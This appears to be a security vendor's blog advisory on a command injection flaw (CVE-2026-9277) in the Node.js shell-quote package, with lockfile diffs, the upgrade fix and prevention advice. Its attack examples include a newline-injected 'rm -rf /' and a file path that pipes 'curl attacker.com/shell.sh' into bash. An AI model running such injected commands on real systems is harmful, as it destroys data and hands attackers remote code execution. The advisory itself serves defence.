Back to Blog
critical SEVERITY7 min read

How Arbitrary Code Execution via Command Injection Happens in Node.js shell-quote and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the popular Node.js `shell-quote` package (versions prior to 1.8.4) where unescaped line terminators allowed attackers to inject and execute arbitrary shell commands. The fix upgrades `shell-quote` from version 1.8.1 to 1.8.4, which properly escapes line terminator characters (such as `\n`, `\r`, `\u2028`, and `\u2029`) before passing strings to the shell. This dependency was present in the project's `package-lock.json`

O
By Orbis AppSec
Published August 5, 2026Reviewed August 5, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability in the Node.js `shell-quote` package (CWE-78) where unescaped line terminators (`\n`, `\r`, `\u2028`, `\u2029`) allow arbitrary code execution when user-controlled input is passed through `shell-quote`'s `quote()` function. The fix is to upgrade `shell-quote` from any version below 1.8.4 to version 1.8.4 or later, which properly escapes these line terminator characters before shell interpolation.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote from 1.8.1 to 1.8.4
riskArbitrary code execution on the server or developer machine
languageJavaScript (Node.js)
root causeshell-quote failed to escape line terminator characters, allowing shell command injection
vulnerabilityCommand Injection via Unescaped Line Terminators

Introduction

In this project's dependency tree, the Trivy security scanner flagged a critical command injection vulnerability (CVE-2026-9277) in the shell-quote package at version 1.8.1, pinned in the package-lock.json file. The shell-quote library is widely used in the Node.js ecosystem to safely quote and parse shell command strings — it's depended upon by tools like launch-editor and react-dev-utils (part of Create React App). A flaw in how shell-quote handled line terminator characters meant that any application passing user-influenced strings through its quote() function was potentially vulnerable to arbitrary code execution.

The vulnerability was present in two dependency paths visible in the lockfile:
1. launch-editor requiring "shell-quote": "^1.8.1"
2. react-dev-utils requiring "shell-quote": "^1.7.3"

Both resolved to the vulnerable version 1.8.1. This is the kind of transitive dependency issue that makes supply chain security so challenging — the application developers may never have directly imported shell-quote, yet their users were exposed to a critical RCE vector.

The Vulnerability Explained

What Are Line Terminators and Why Do They Matter?

In most shell environments (bash, sh, zsh), a line terminator signals the end of one command and the beginning of the next. The most common line terminator is the newline character (\n), but Unicode defines additional line separators: \u2028 (Line Separator) and \u2029 (Paragraph Separator). The carriage return (\r) can also serve as a command separator in certain contexts.

The Core Flaw

The shell-quote library's quote() function is designed to take an array of arguments and produce a safely-escaped shell string. For example:

const { quote } = require('shell-quote');
const cmd = quote(['echo', 'hello world']);
// Expected output: "echo 'hello world'"

In version 1.8.1, the escaping logic did not account for line terminator characters embedded within argument strings. This means an attacker could craft input like:

const userInput = "harmless\nrm -rf /";
const cmd = quote(['echo', userInput]);
// Produced: echo 'harmless
// rm -rf /'
// The shell sees TWO commands!

The shell interprets the unescaped newline as a command separator, executing rm -rf / as a completely separate command with whatever privileges the process holds.

Attack Scenario Specific to This Codebase

In this project, shell-quote is used by launch-editor (which opens files in a developer's editor) and react-dev-utils (which provides development utilities for React applications). Consider this realistic attack path:

  1. A React development server processes an error overlay click that includes a file path
  2. The file path is passed through shell-quote to construct a command for opening the file in an editor
  3. An attacker who can influence the file path (e.g., through a crafted error message, source map, or import path) injects a line terminator followed by a malicious command
  4. The development server executes the injected command with the developer's full user privileges

For example, a malicious file reference like:

src/App.js\ncurl attacker.com/shell.sh | bash

Would result in the developer's machine downloading and executing a remote script when they click the error overlay.

Why Version 1.8.1 Was Vulnerable

The resolved entry in the lockfile shows the exact vulnerable artifact:

"shell-quote": {
  "version": "1.8.1",
  "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.1.tgz",
  "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA=="
}

This version's quote() function would pass through \n, \r, \u2028, and \u2029 without escaping them, breaking the fundamental security contract of the library.

The Fix

What Changed

The fix upgrades shell-quote from version 1.8.1 to 1.8.4 across the entire dependency tree. Version 1.8.4 properly escapes all line terminator characters, ensuring they cannot break out of a quoted string context.

Before (Vulnerable)

"node_modules/shell-quote": {
  "version": "1.8.1",
  "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.1.tgz",
  "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA=="
}

Dependency references used semver ranges:

"shell-quote": "^1.8.1"  // in launch-editor
"shell-quote": "^1.7.3"  // in react-dev-utils

After (Fixed)

"node_modules/shell-quote": {
  "version": "1.8.4",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.4.tgz",
  "integrity": "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==",
  "license": "MIT",
  "engines": {
    "node": ">= 0.4"
  },
  "funding": {
    "url": "https://github.com/sponsors/ljharb"
  }
}

Dependency references were pinned to exact versions:

"shell-quote": "1.8.4"  // in launch-editor (was ^1.8.1)
"shell-quote": "1.8.4"  // in react-dev-utils (was ^1.7.3)

Why Each Change Was Necessary

  1. package.json: Updated to specify the fixed version, ensuring fresh installs get the patched library.

  2. package-lock.json: Updated in three locations:
    - The node_modules/shell-quote entry (the actual resolved package metadata)
    - The launch-editor dependency declaration (pinned from ^1.8.1 to 1.8.4)
    - The react-dev-utils dependency declaration (pinned from ^1.7.3 to 1.8.4)

Why Pinning Matters Here

Notice that the fix changes "^1.8.1" to "1.8.4" (removing the caret). This is intentional — by pinning to an exact version, the project ensures that no future npm install can accidentally resolve to a version between 1.8.1 and 1.8.3 that might still be vulnerable. The registry source also changed from npmmirror.com to the canonical registry.npmjs.org, improving supply chain integrity.

Prevention & Best Practices

1. Avoid Shell Interpolation When Possible

Instead of constructing shell command strings, use child_process.execFile() or child_process.spawn() with argument arrays:

// DANGEROUS: shell interpolation
const { exec } = require('child_process');
exec(`editor ${quote([filePath])}`);

// SAFER: no shell involved
const { execFile } = require('child_process');
execFile('editor', [filePath]);

2. Keep Dependencies Updated

Use automated tools to monitor for vulnerable dependencies:
- npm audit for Node.js projects
- Trivy for container and filesystem scanning
- Dependabot or Renovate for automated update PRs

3. Pin Critical Security Dependencies

For security-sensitive libraries like shell-quote, consider pinning exact versions rather than using semver ranges. This prevents unexpected resolution to vulnerable intermediate versions.

4. Audit Your Dependency Tree

Run npm ls shell-quote to understand which packages pull in security-critical transitive dependencies. In this case, two separate packages (launch-editor and react-dev-utils) both depended on shell-quote.

5. Validate Input Before Shell Operations

Even with a properly-escaping library, defense in depth requires validating that inputs conform to expected patterns (e.g., file paths should match ^[a-zA-Z0-9_/.\-]+$).

Key Takeaways

  • Transitive dependencies can harbor critical vulnerabilities: shell-quote was never directly imported, yet it exposed the application to RCE through launch-editor and react-dev-utils.
  • Line terminators are an overlooked injection vector: Most developers think about semicolons and pipes for command injection, but \n, \r, \u2028, and \u2029 are equally dangerous shell metacharacters.
  • Semver ranges can be a liability for security-critical packages: The ^1.7.3 range in react-dev-utils could resolve to any version from 1.7.3 to 1.x.x — pinning to 1.8.4 eliminates ambiguity.
  • Development tooling is an attack surface: This vulnerability in launch-editor could compromise developer machines, which often have elevated access to production systems, secrets, and source code.
  • Registry source matters: The fix also moved resolution from npmmirror.com to the canonical registry.npmjs.org, reducing supply chain risk from mirror-specific attacks.

How Orbis AppSec Detected This

  • Source: User-influenced input (file paths, error messages) flowing into shell command construction via launch-editor and react-dev-utils
  • Sink: shell-quote's quote() function in version 1.8.1, which failed to escape line terminators before shell interpolation
  • Missing control: Line terminator characters (\n, \r, \u2028, \u2029) were not neutralized during the quoting process, allowing command boundary injection
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Upgraded shell-quote from 1.8.1 to 1.8.4, which properly escapes all line terminator characters in quoted strings

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 is a stark reminder that even well-established utility libraries can harbor critical vulnerabilities in edge cases that their escaping logic doesn't cover. The shell-quote package is used by thousands of Node.js projects, and the failure to escape line terminators created a command injection vector that could lead to arbitrary code execution on developer machines and production servers alike.

The fix was straightforward — a dependency version bump from 1.8.1 to 1.8.4 — but the implications of leaving it unpatched were severe. By pinning the exact version and updating both dependency paths in the lockfile, this project eliminated the vulnerability while maintaining full backward compatibility for valid inputs.

Always audit your transitive dependencies, keep security-critical packages updated, and prefer argument arrays over shell string construction whenever possible.

References

Frequently Asked Questions

What is command injection via unescaped line terminators?

It occurs when a shell-quoting library fails to escape newline or Unicode line separator characters, allowing an attacker to terminate the current command and inject a new one that the shell executes.

How do you prevent command injection in Node.js?

Use parameterized execution (e.g., `child_process.execFile` with argument arrays), keep shell-quoting libraries updated, validate and sanitize all user input before shell interpolation, and avoid `shell: true` where possible.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection?

No. While input validation helps reduce attack surface, proper escaping at the point of shell interpolation is essential. Libraries like shell-quote must handle all metacharacters including line terminators.

Can static analysis detect command injection?

Yes. Tools like Trivy, Semgrep, and Snyk can detect known vulnerable dependency versions and flag patterns where user input flows into shell commands without proper sanitization.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #15

Related Articles

high

How Octal IP Address Parsing Inconsistency Enables SSRF in Node.js and How to Fix It

A critical parsing inconsistency in the `ip-address` npm package (version 10.2.0) allowed attackers to bypass SSRF protections by exploiting how leading-zero octets are interpreted differently—decimal by the library versus octal by system resolvers. This vulnerability (CVE-2026-69192) was fixed by upgrading to version 10.3.1 using an npm override, ensuring consistent IP address validation across the application.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A Node.js library was vulnerable to command injection through unsafe use of `execSync()` with shell string interpolation in the `index.js` file. By switching to `execFileSync()` with argument arrays, the fix eliminates the ability for attackers to inject shell metacharacters through file paths. This change demonstrates a critical security hardening pattern for any Node.js code that spawns child processes.

high

How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42043) in the axios HTTP client library allowed attackers to bypass NO_PROXY environment variable restrictions using specially crafted URLs. This could route sensitive internal traffic through attacker-controlled proxy servers. The fix upgrades axios from 1.13.6 to 1.18.0, which includes a rewritten proxy resolution mechanism using `proxy-from-env` v2.1.0 and the `https-proxy-agent` package.

high

How Denial of Service via Infinite Loop happens in Node.js dependencies and how to fix it

A high-severity vulnerability in the nanoid package (CVE-2026-67213) allowed attackers to trigger infinite loops through the customAlphabet function, potentially causing complete denial of service. This fix upgrades nanoid from version 3.3.16 to 3.3.17 in the app_store dependency tree, eliminating the DoS risk through a simple version override.

high

How Denial of Service via Deeply Nested Field Names Happens in Node.js Multer and How to Fix It

A high-severity Denial of Service vulnerability (CVE-2026-5079) was discovered in the multer package, a popular Node.js middleware for handling multipart form data. Attackers could craft malicious requests with deeply nested field names to exhaust server resources. The fix upgrades multer from version 2.0.2 to 2.2.0, which implements proper limits on field name parsing depth.

critical

How SQL Injection happens in PHP PDO queries and how to fix it

A critical SQL injection vulnerability was discovered in the `getOfficialContests()` method of ContestRepository.php, where the `$site_id` parameter was directly interpolated into a SQL query string instead of using prepared statements. This vulnerability allowed attackers to inject arbitrary SQL commands and potentially access or manipulate the entire contest database. The fix replaced `pdo->query()` with `pdo->prepare()` and proper parameter binding.